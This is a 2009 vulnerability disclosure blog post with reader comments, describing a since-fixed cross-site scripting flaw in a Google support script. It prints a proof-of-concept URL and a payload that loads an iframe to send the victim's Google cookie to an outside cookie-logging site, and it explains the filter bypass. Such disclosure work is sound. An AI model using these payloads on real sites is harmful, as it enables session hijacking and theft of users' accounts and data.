Vulnerability Reported: 04/18/2009 9.33 pm
Google’s Response: 04/18/2009 10.19 pm (Wow! that was super fast for Saturday )
Vulnerability Fixed: 05/05/2009 7.05 pm
Change Propogated: 05/07/2009 3.19 pm
I recently reported a cross-scripting flaw to Google, which is now fixed. The vulnerability existed in Google’s Support Python Script where a malicious url is not sanitized for XSS character ‘ (single quote) before putting inside javascript variable logURL. As a result, it was possible to break the encapsulation of the var declaration and execute arbitary javascript commands on the main Google.com domain.
The only limitation was the following characters were either filtered out or url encoded – ” (double quote) < > (space) { }. However, this protection could be easily circumvented. I was able to write javascript statements to steal the session cookies [since characters such as ' ; . ( ) / = + were still available] and send it to my evil website. See the example given below.
Your Google.com domain cookie is the central Single Sign-On cookie to all google services. Once anyone gets it, he or she can use it to
1. Steal your emails.
2. Steal your contacts.
3. Steal your documents.
4. Steal your code.
5. Steal your sites.
6. Steal your website analytics.
7. Backdoor your iGoogle Homepage with malicious gadgets.
…. and there should be still some more things remaining that you can play with.
Simple Proof of Concept Code that displays your Google.com cookie in an alert box:-
http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';alert(document.cookie);//&src=cb&lev=index
More real-world example where an attacker will silently transfer your Google.com cookie to his or her evil site:-
http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src=cb&lev=index
I would like thank the Google Security Team for their prompt responses and fixing this serious issue in a timely manner. If you think Google took a long time in fixing this vulnerability, think again. This python script is used in a lot of places. Try this Google Dork to see the usage of this script in almost all Google Services.
Tags: Cookie Stealing, Cross Site Scripting, Google, Javascript
Hi Inferno;
Good job, excellent.
Very professional you, not publishing the vulnerability.
You know as Google includes everything with a account.
Regards;
Maximiliano.
Hi Maximiliano,
Thanks for your comments. I believe in responsible disclosure, so i waited for this vulnerability to get fixed completely. Now it is published in places such as bugtraq – http://www.securityfocus.com/archive/1/503389 and caught some press here – http://securityandthe.net/2009/05/09/xss-against-google-services-scary-but-fixed-fast/.
Thanks and Regards,
Inferno
Hi,
Congratulations for your analysis and thanks for this great post!
Regards,
Gabriel Lima.
Hi Bro,
Good stuff.
keep posting.
[...] werd de update uitgerold. Een proof-of-concept van het inmiddels niet meer werkende lek is op het blog van de onderzoeker te vinden. Google mag blij zijn dat Inferno het lek bij hen meldde, volgens [...]
@Gabriel, @vinod – thanks for your comments and appreciation….
Grateful, compliments (amazing. To find Google did not itself found the gap)
[...] handle of “Inferno” discovered a cross-site scripting ( XSS) vulnerability in mid-April affecting a range of Google services like Gmail, Google Documents, iGoogle, and [...]
Great work inferno
[...] Universal XSS Vulnerability in all Google Services can compromise … [...]